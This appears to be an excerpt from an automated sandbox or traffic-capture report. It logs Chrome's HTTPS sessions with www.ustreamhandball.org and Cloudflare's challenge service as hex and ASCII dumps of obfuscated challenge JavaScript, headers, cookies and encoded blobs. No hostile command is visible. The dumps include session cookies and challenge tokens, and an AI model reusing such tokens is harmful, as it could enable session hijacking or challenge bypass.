2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 6a 5b 67 50 28 31 34 36 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 6a 5b 67 50 28 31 31 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 76 3d 3d 3d 73 7d 2c 6a 5b 67 50 28 35 34 31 29 5d 3d 67 50 28 33 33 30 29 2c 6b 3d 6a 2c 6c 3d 65 5b 67 50 28 31 31 35 39 29 5d 28 29 2c 6d 3d 67 50 28 34 31 31 29 2c 6b 5b 67 50 28 31 34 36 35 29 5d 28 6c 5b 67 50 28 36 32 37 29 5d 28 6d 29 2c 2d 31 29 29 3f 65 4d 5b 67 50 28 33 35 31 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 51 29 7b 67 51 3d 67 50 2c 65 4d 5b 67 51 28 31 34 36 34 29 5d 28 29 7d 2c 31 65 33 29 3a 6b 5b 67 50 28 31 31 32 38 29 5d 28 6b 5b 67 50 28 35 34 31 29 5d 2c 67 50 28 32 33 38 29 29 3f Data Ascii: {return s>v},j[gP(1465)]=function(s,v){return s>v},j[gP(1128)]=function(s,v){return v===s},j[gP(541)]=gP(330),k=j,l=e[gP(1159)](),m=gP(411),k[gP(1465)](l[gP(627)](m),-1))?eM[gP(351)](function(gQ){gQ=gP,eM[gQ(1464)]()},1e3):k[gP(1128)](k[gP(541)],gP(238))?
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 74 64 43 5a 77 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 73 62 44 71 43 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3c 3c 67 7d 2c 27 5a 57 49 6e 65 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 77 6c 66 6b 62 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 25 67 7d 2c 27 7a 69 79 6b 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 3e 67 7d 2c 27 6f 68 4a 45 47 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2b 67 7d 2c 27 6e 48 4c 63 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 Data Ascii: g,h){return f(g,h)},'tdCZw':function(f,g,h){return f(g,h)},'sbDqC':function(f,g){return f<<g},'ZWIne':function(f,g){return f-g},'wlfkb':function(f,g){return f%g},'ziykL':function(f,g){return f>>g},'ohJEG':function(f,g){return f+g},'nHLcm':function(f,g){re
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 32 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 33 27 3a 64 5b 68 42 28 34 35 38 29 5d 28 31 36 2c 4a 29 3f 6f 3d 62 6c 5b 4a 2b 49 5d 3a 6f 3d 28 6f 3d 48 5b 64 5b 68 42 28 34 39 37 29 5d 28 4a 2c 32 29 5d 2c 6f 3d 64 5b 68 42 28 36 39 34 29 5d 28 62 4c 28 6f 2c 31 37 29 2c 62 4d 28 6f 2c 31 39 29 29 5e 64 5b 68 42 28 31 35 31 31 29 5d 28 6f 2c 31 30 29 2c 6f 3d 62 4e 28 6f 2c 48 5b 64 5b 68 42 28 36 35 37 29 5d 28 4a 2c 37 29 5d 29 2c 73 3d 48 5b 4a 2d 31 35 5d 2c 73 3d 62 4f 28 73 2c 37 29 5e 64 5b 68 42 28 31 34 32 39 29 5d 28 62 50 2c 73 2c 31 38 29 5e 73 3e 3e 3e 33 2c 64 5b 68 42 28 33 38 34 29 5d 28 62 51 2c 62 52 28 6f 2c 73 29 2c 48 5b 4a 2d 31 36 5d 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 34 27 3a 42 3d 62 48 28 43 2c 6e Data Ascii: 2));continue;case'13':d[hB(458)](16,J)?o=bl[J+I]:o=(o=H[d[hB(497)](J,2)],o=d[hB(694)](bL(o,17),bM(o,19))^d[hB(1511)](o,10),o=bN(o,H[d[hB(657)](J,7)]),s=H[J-15],s=bO(s,7)^d[hB(1429)](bP,s,18)^s>>>3,d[hB(384)](bQ,bR(o,s),H[J-16]));continue;case'14':B=bH(C,n
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 30 39 2c 32 37 35 34 32 33 33 34 34 2c 34 33 30 32 32 37 37 33 34 2c 35 30 36 39 34 38 36 31 36 2c 36 35 39 30 36 30 35 35 36 2c 38 38 33 39 39 37 38 37 37 2c 39 35 38 31 33 39 35 37 31 2c 31 33 32 32 38 32 32 32 31 38 2c 31 35 33 37 30 30 32 30 36 33 2c 31 37 34 37 38 37 33 37 37 39 2c 31 39 35 35 35 36 32 32 32 32 2c 32 30 32 34 31 30 34 38 31 35 2c 32 32 32 37 37 33 30 34 35 32 2c 32 33 36 31 38 35 32 34 32 34 2c 32 34 32 38 34 33 36 34 37 34 2c 32 37 35 36 37 33 34 31 38 37 2c 33 32 30 34 30 33 31 34 37 39 2c 33 33 32 39 33 32 35 32 39 38 5d 2c 47 3d 5b 31 37 37 39 30 33 33 37 30 33 2c 33 31 34 34 31 33 34 32 37 37 2c 31 30 31 33 39 30 34 32 34 32 2c 32 37 37 33 34 38 30 37 36 32 2c 31 33 35 39 38 39 33 31 31 39 2c 32 36 30 30 38 32 32 39 32 34 2c 35 Data Ascii: 09,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298],G=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,5
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 5d 3d 27 6f 27 2c 66 54 5b 67 4a 28 31 35 30 31 29 5d 3d 27 73 27 2c 66 54 5b 67 4a 28 37 31 39 29 5d 3d 27 75 27 2c 66 54 5b 67 4a 28 35 36 30 29 5d 3d 27 7a 27 2c 66 54 5b 67 4a 28 31 32 34 30 29 5d 3d 27 6e 27 2c 66 54 5b 67 4a 28 31 32 37 35 29 5d 3d 27 49 27 2c 66 54 5b 67 4a 28 31 33 39 39 29 5d 3d 27 62 27 2c 66 55 3d 66 54 2c 65 4d 5b 67 4a 28 31 32 34 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 69 69 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 69 69 3d 67 4a 2c 6f 3d 7b 27 49 4c 71 74 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 66 45 74 61 70 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 78 49 5a 61 4f 27 3a 66 75 6e 63 74 Data Ascii: ]='o',fT[gJ(1501)]='s',fT[gJ(719)]='u',fT[gJ(560)]='z',fT[gJ(1240)]='n',fT[gJ(1275)]='I',fT[gJ(1399)]='b',fU=fT,eM[gJ(1248)]=function(g,h,i,j,ii,o,x,B,C,D,E,F){if(ii=gJ,o={'ILqtl':function(G,H){return G+H},'fEtap':function(G,H){return G===H},'xIZaO':funct
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 69 6b 28 39 33 33 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 69 6b 28 32 33 36 29 5d 29 3b 6b 5b 69 6b 28 39 37 37 29 5d 28 2d 31 2c 68 5b 6e 5d 5b 69 6b 28 36 32 37 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 26 26 28 66 5a 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 6b 28 35 37 35 29 5d 28 6b 5b 69 6b 28 31 32 32 39 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 6b 28 31 32 30 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 73 7d 29 7d 2c 65 4d 5b 67 4a 28 39 38 36 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4a 28 37 30 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 47 29 7b 69 Data Ascii: ),h[n]){for(o=0;k[ik(933)](o,i[l[m]][ik(236)]);k[ik(977)](-1,h[n][ik(627)](i[l[m]][o]))&&(fZ(i[l[m]][o])\|\|h[n][ik(575)](k[ik(1229)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][ik(1207)](function(s){return'o.'+s})},eM[gJ(986)]=![],eM[gJ(708)]=function(iG){i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49796	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:06 UTC	694	OUT	GET /favicon.ico HTTP/1.1 Host: www.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.ustreamhandball.org/ZspqXQij Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:07 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-09 23:21:07 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store,no-cache
2025-01-09 23:21:07 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:07 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:06 GMT
2025-01-09 23:21:07 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:07 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:07 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2025-01-09 23:21:07 UTC	98	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 37 34 63 36 31 37 61 65 2d 66 37 38 32 2d 34 65 34 30 2d 38 38 62 36 2d 65 38 34 65 35 62 64 61 33 61 39 38 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.SID=74c617ae-f782-4e40-88b6-e84e5bda3a98; Path=/; HttpOnly; Secure; SameSite=None
2025-01-09 23:21:07 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 65 75 73 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 37 3a 32 31 3a 30 37 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-eus; Path=/; Expires=Fri, 10 Jan 2025 07:21:07 GMT; HttpOnly; Secure; SameSite=None
2025-01-09 23:21:07 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 31 37 66 66 35 39 62 36 2d 30 30 38 30 2d 34 30 64 63 2d 61 63 64 31 2d 64 65 64 65 63 38 31 31 38 36 32 32 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 46 72 69 2c 20 30 39 20 4a 61 6e 20 32 30 32 36 20 32 33 3a 32 31 3a 30 37 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=17ff59b6-0080-40dc-acd1-dedec8118622; Path=/; Expires=Fri, 09 Jan 2026 23:21:07 GMT; HttpOnly; Secure; SameSite=None
2025-01-09 23:21:07 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49797	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:06 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3506 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:06 UTC	3506	OUT	Data Raw: 76 5f 38 66 66 38 32 39 36 30 62 63 34 37 38 63 36 66 3d 5a 6f 57 42 76 42 35 42 4d 42 38 42 4c 48 54 30 48 54 66 42 48 4a 59 34 49 78 4a 54 44 48 6c 6c 24 79 57 54 5a 48 54 50 57 54 53 54 55 4d 75 4f 66 57 42 59 55 7a 57 54 6c 42 68 34 78 4e 31 54 51 24 42 54 55 65 4c 42 24 4b 54 65 42 48 47 54 51 42 54 6f 76 65 54 48 57 54 63 54 5a 34 4e 76 54 34 4d 42 4e 6c 54 49 53 48 54 33 55 7a 55 33 43 54 5a 33 72 4e 31 77 2d 75 59 71 46 54 49 57 4e 36 7a 46 58 4c 41 6d 46 4a 4c 6d 6d 79 35 25 32 62 33 4e 6c 65 54 48 6a 54 31 38 2b 54 57 52 6a 71 55 24 42 54 6e 7a 42 54 50 72 54 78 2d 38 57 5a 2b 70 41 62 5a 41 6a 65 4d 61 2b 37 64 36 74 54 55 43 6f 6c 71 59 78 44 49 72 54 50 42 4e 37 54 68 6f 54 75 76 53 31 70 54 48 71 6e 5a 24 54 68 76 59 78 77 72 72 54 34 33 34 Data Ascii: v_8ff82960bc478c6f=ZoWBvB5BMB8BLHT0HTfBHJY4IxJTDHll$yWTZHTPWTSTUMuOfWBYUzWTlBh4xN1TQ$BTUeLB$KTeBHGTQBToveTHWTcTZ4NvT4MBNlTISHT3UzU3CTZ3rN1w-uYqFTIWN6zFXLAmFJLmmy5%2b3NleTHjT18+TWRjqU$BTnzBTPrTx-8WZ+pAbZAjeMa+7d6tTUColqYxDIrTPBN7ThoTuvS1pTHqnZ$ThvYxwrrT434
2025-01-09 23:21:07 UTC	751	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152956 Connection: close cf-chl-gen: VHgTrbCrfzjDBoZD4CYQLhoeyCjjhxgOy4g9gDO7MUozUFOuK6By/H4Up35P0Y00E591dneWQzLnYdTmvAKhvP13BoLDfarf7cytPovz2EwbAhOCgMXAlUtJKvRikckTVIn4ePb5z9r3dQudNuuvWI/o9JOSg6akCtxO7z0Uvfa5VOHkxgkRFVNEzvYO0KSCFbwrFPehO2uN1ZyN1X3kf06MLXwCqSZ2ovnGmISBijza8ECUWcza71Bfpb9Ygp9WsNDqgfV3PMFR2rfYmdt+hOVC1QJgyfWUZgIFI7bI5WjKAG5LUqxdfZSsbaCXi53gZT3dvWVANL0mg3dryHBYFCpXDqFErAgOkeh2NYALJFMdEpUgpAhfhSvXQC9dcdjD9nr1fcOvty8h2/mhWWXqOLu9v6qIeLYiGbOyuD3WA3Z/+cY/S9l3MSuG5kztmolJ9tgWlYPPKyDJMuWKkfePxmYHtTOZzZAeSTDXAVbGVoE=$FiiuFZt+iOkimQvHeKfOHQ== Server: cloudflare CF-RAY: 8ff8296acca20f4d-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:07 UTC	618	IN	Data Raw: 70 63 57 31 6e 73 53 59 6f 38 69 33 72 4d 36 33 76 4a 75 64 79 71 7a 46 31 4d 36 72 32 64 47 6c 33 4c 6e 63 6c 35 71 36 31 4a 75 7a 35 61 62 44 6e 72 4c 71 75 64 33 66 35 65 66 59 71 71 33 6d 37 4b 37 67 30 71 37 43 39 4c 48 52 79 4f 2f 72 2f 4f 33 61 2f 62 33 79 34 64 72 48 38 39 37 67 41 38 4d 42 35 4d 6f 4e 46 4f 72 4e 45 4d 77 41 31 41 58 59 37 50 44 6e 45 76 45 65 37 75 76 69 45 4e 33 76 35 68 67 4b 39 77 51 62 2b 2b 59 6e 4a 75 38 67 45 77 6b 7a 44 69 6b 36 4e 53 67 52 50 41 63 53 45 54 6b 51 46 54 41 37 50 68 55 65 50 30 48 38 4c 43 56 4b 51 43 77 49 43 43 64 44 49 30 51 70 53 30 63 54 53 43 74 51 57 44 6c 4d 54 7a 77 2b 59 7a 70 57 59 57 51 39 52 54 4e 6c 50 57 35 5a 5a 6b 6c 73 4b 31 4e 4d 53 7a 46 53 64 46 42 77 63 45 70 4c 56 55 35 66 57 48 6c Data Ascii: pcW1nsSYo8i3rM63vJudyqzF1M6r2dGl3Lncl5q61Juz5abDnrLqud3f5efYqq3m7K7g0q7C9LHRyO/r/O3a/b3y4drH897gA8MB5MoNFOrNEMwA1AXY7PDnEvEe7uviEN3v5hgK9wQb++YnJu8gEwkzDik6NSgRPAcSETkQFTA7PhUeP0H8LCVKQCwICCdDI0QpS0cTSCtQWDlMTzw+YzpWYWQ9RTNlPW5ZZklsK1NMSzFSdFBwcEpLVU5fWHl
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 43 58 59 49 65 57 6a 49 53 59 64 32 61 4f 58 35 32 65 6a 6e 31 75 62 71 53 53 63 57 6d 58 66 31 39 32 72 59 75 66 63 62 4a 74 70 49 4e 30 6d 4b 75 7a 74 36 6d 7a 70 72 57 4d 66 4a 74 39 6a 34 47 33 75 5a 53 38 68 73 4b 6f 70 4c 69 59 68 72 2b 6c 71 4d 50 52 7a 62 61 34 6d 4d 2b 59 70 4e 54 63 74 38 69 36 72 74 48 42 32 37 72 62 70 36 65 2f 36 4e 66 70 36 72 6e 74 71 4f 33 6c 70 72 44 4c 35 4b 2f 54 32 37 4c 30 30 41 44 63 79 74 2f 7a 34 76 4c 37 38 2f 7a 53 41 39 72 57 79 4f 62 36 42 51 50 76 45 2f 41 56 79 39 49 49 30 68 66 6a 43 42 34 65 32 76 6a 39 49 52 30 42 39 78 49 41 47 78 38 71 39 2b 55 66 43 77 55 46 49 65 6b 6e 45 78 38 54 44 53 76 7a 4e 51 6e 31 38 78 4d 57 46 55 45 39 4f 43 4d 2f 46 52 34 37 47 68 55 57 42 68 6b 67 49 79 55 62 53 45 55 79 46 Data Ascii: CXYIeWjISYd2aOX52ejn1ubqSScWmXf192rYufcbJtpIN0mKuzt6mzprWMfJt9j4G3uZS8hsKopLiYhr+lqMPRzba4mM+YpNTct8i6rtHB27rbp6e/6Nfp6rntqO3lprDL5K/T27L00ADcyt/z4vL78/zSA9rWyOb6BQPvE/AVy9II0hfjCB4e2vj9IR0B9xIAGx8q9+UfCwUFIeknEx8TDSvzNQn18xMWFUE9OCM/FR47GhUWBhkgIyUbSEUyF
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 6b 65 57 6c 58 6c 6c 39 66 64 5a 4e 33 6e 61 68 36 6f 59 6c 64 71 59 4b 72 66 36 36 72 6b 49 46 75 69 4c 4b 74 64 71 6d 32 6e 48 75 47 73 71 6d 4a 72 35 69 63 75 72 78 2f 75 63 4c 45 70 72 32 6e 72 4a 2b 6e 70 4b 36 68 6b 63 43 55 76 70 44 54 31 64 58 62 6d 39 71 6d 6e 4c 62 54 76 5a 72 50 32 64 72 6f 34 75 61 6d 6f 61 4c 6c 77 71 33 47 72 39 2f 79 33 73 33 32 74 76 58 61 31 4f 62 75 2b 4f 77 41 39 2f 62 33 32 2f 66 44 41 73 54 61 41 64 37 71 33 63 7a 36 2b 38 62 6e 79 51 2f 69 44 63 77 4e 46 65 76 34 44 76 55 4d 46 2f 37 78 49 41 54 62 37 52 62 38 35 77 49 64 2b 51 67 67 4b 53 76 6e 4b 76 6f 47 46 51 38 4e 4b 4f 6b 68 4f 67 34 49 4c 67 77 5a 44 50 67 76 2f 42 4c 37 4a 44 55 6f 2b 6a 30 48 53 30 49 6b 42 77 39 4b 51 51 38 2f 50 78 38 52 56 45 49 35 46 55 Data Ascii: keWlXll9fdZN3nah6oYldqYKrf66rkIFuiLKtdqm2nHuGsqmJr5icurx/ucLEpr2nrJ+npK6hkcCUvpDT1dXbm9qmnLbTvZrP2dro4uamoaLlwq3Gr9/y3s32tvXa1Obu+OwA9/b32/fDAsTaAd7q3cz6+8bnyQ/iDcwNFev4DvUMF/7xIATb7Rb85wId+QggKSvnKvoGFQ8NKOkhOg4ILgwZDPgv/BL7JDUo+j0HS0IkBw9KQQ8/Px8RVEI5FU
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 64 33 39 2b 62 34 56 38 61 48 75 63 6f 35 32 5a 5a 36 4e 35 67 57 57 4d 74 72 53 7a 6f 48 57 36 75 34 2b 6e 64 49 64 38 66 4c 79 57 6d 70 47 6e 6c 61 61 68 70 4a 65 38 74 37 75 65 7a 4d 66 41 6f 59 32 4d 77 61 62 48 79 39 50 63 71 38 36 71 33 64 66 5a 30 5a 6e 4f 31 4d 4c 58 76 75 44 6c 73 38 62 74 7a 75 43 73 30 65 7a 6f 33 38 66 51 36 2f 66 76 31 72 4c 52 30 4f 75 35 75 39 58 58 31 74 33 6c 2f 76 58 70 38 75 67 4a 34 41 30 41 35 41 49 4f 34 65 37 30 45 38 7a 34 36 50 48 31 35 52 72 7a 48 42 59 61 41 52 51 41 37 67 34 6e 43 65 41 6a 41 65 4d 44 37 52 33 6e 44 69 63 65 42 41 59 6d 43 2f 41 44 45 43 30 53 4f 68 38 51 38 52 55 62 4e 53 34 5a 47 6a 77 58 46 7a 70 4d 51 53 4a 4f 51 7a 38 52 4b 31 4d 77 50 53 68 51 55 31 4a 54 58 45 56 4e 4d 6a 49 74 4e 6c 31 Data Ascii: d39+b4V8aHuco52ZZ6N5gWWMtrSzoHW6u4+ndId8fLyWmpGnlaahpJe8t7uezMfAoY2MwabHy9Pcq86q3dfZ0ZnO1MLXvuDls8btzuCs0ezo38fQ6/fv1rLR0Ou5u9XX1t3l/vXp8ugJ4A0A5AIO4e70E8z46PH15RrzHBYaARQA7g4nCeAjAeMD7R3nDiceBAYmC/ADEC0SOh8Q8RUbNS4ZGjwXFzpMQSJOQz8RK1MwPShQU1JTXEVNMjItNl1
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 4a 2b 44 65 6f 6d 67 68 34 61 4c 65 36 71 45 67 6d 79 75 69 72 71 73 73 37 61 49 73 4c 61 58 69 62 2b 72 76 5a 4b 2b 6d 72 31 37 78 6f 6c 2b 69 73 71 77 6f 71 72 45 79 38 36 67 79 4e 43 6e 6c 70 47 6f 33 61 57 61 7a 35 65 75 6f 74 47 73 73 71 4c 41 78 63 62 6b 33 72 2f 5a 76 4d 2b 76 36 38 66 71 31 4f 76 41 38 73 72 33 32 4f 4f 79 79 66 72 67 73 76 45 44 75 64 6e 76 35 77 54 34 32 50 62 37 33 74 58 2b 37 4d 4c 66 37 51 66 64 36 75 66 31 37 65 62 35 45 76 59 51 31 50 58 39 37 41 49 5a 33 66 4d 61 41 76 50 78 34 2b 67 68 2b 53 73 72 36 79 77 4a 36 7a 41 57 4a 6a 66 33 4b 76 48 37 46 42 6b 62 4b 79 49 50 4e 7a 6f 68 4e 41 51 69 4d 30 67 64 4a 78 30 45 49 51 77 70 4a 6a 49 73 52 68 41 54 55 6a 70 44 56 69 56 62 55 6b 70 53 47 6b 4e 4f 54 44 45 31 59 6a 6f 69 Data Ascii: J+Deomgh4aLe6qEgmyuirqss7aIsLaXib+rvZK+mr17xol+isqwoqrEy86gyNCnlpGo3aWaz5euotGssqLAxcbk3r/ZvM+v68fq1OvA8sr32OOyyfrgsvEDudnv5wT42Pb73tX+7MLf7Qfd6uf17eb5EvYQ1PX97AIZ3fMaAvPx4+gh+Ssr6ywJ6zAWJjf3KvH7FBkbKyIPNzohNAQiM0gdJx0EIQwpJjIsRhATUjpDViVbUkpSGkNOTDE1Yjoi
2025-01-09 23:21:07 UTC	1369	IN	Data Raw: 4a 75 69 71 6d 4f 6f 61 4e 70 72 58 57 61 75 70 75 50 64 70 35 36 72 4a 74 38 6f 62 65 61 6b 62 65 62 78 34 61 5a 69 72 75 4a 76 38 6a 42 76 70 4c 50 6e 38 50 4d 6c 70 71 79 75 73 79 30 6c 35 6e 59 79 73 4c 54 33 74 50 47 78 65 54 56 75 71 69 6e 37 74 44 50 33 2b 58 6c 77 74 50 41 76 39 54 35 38 76 58 72 78 72 72 48 30 38 45 44 38 4c 62 37 42 73 48 6b 42 77 76 6d 35 72 2f 75 33 2f 44 36 36 75 33 78 31 4f 34 4b 46 50 45 52 42 2f 59 49 32 77 48 58 36 65 37 65 47 66 48 6c 37 2f 30 48 48 4f 50 73 4c 69 45 46 41 79 54 76 2f 51 67 6b 37 77 7a 32 45 50 51 52 4e 68 34 73 46 44 45 5a 51 7a 45 34 45 54 41 77 47 78 67 55 50 53 30 4a 4f 79 49 69 45 42 46 53 4d 6b 4d 6a 51 68 63 79 47 44 49 36 4d 54 6b 38 54 79 46 45 4d 45 34 35 4d 6b 46 4a 50 54 67 32 53 54 39 70 62 Data Ascii: JuiqmOoaNprXWaupuPdp56rJt8obeakbebx4aZiruJv8jBvpLPn8PMlpqyusy0l5nYysLT3tPGxeTVuqin7tDP3+XlwtPAv9T58vXrxrrH08ED8Lb7BsHkBwvm5r/u3/D66u3x1O4KFPERB/YI2wHX6e7eGfHl7/0HHOPsLiEFAyTv/Qgk7wz2EPQRNh4sFDEZQzE4ETAwGxgUPS0JOyIiEBFSMkMjQhcyGDI6MTk8TyFEME45MkFJPTg2ST9pb
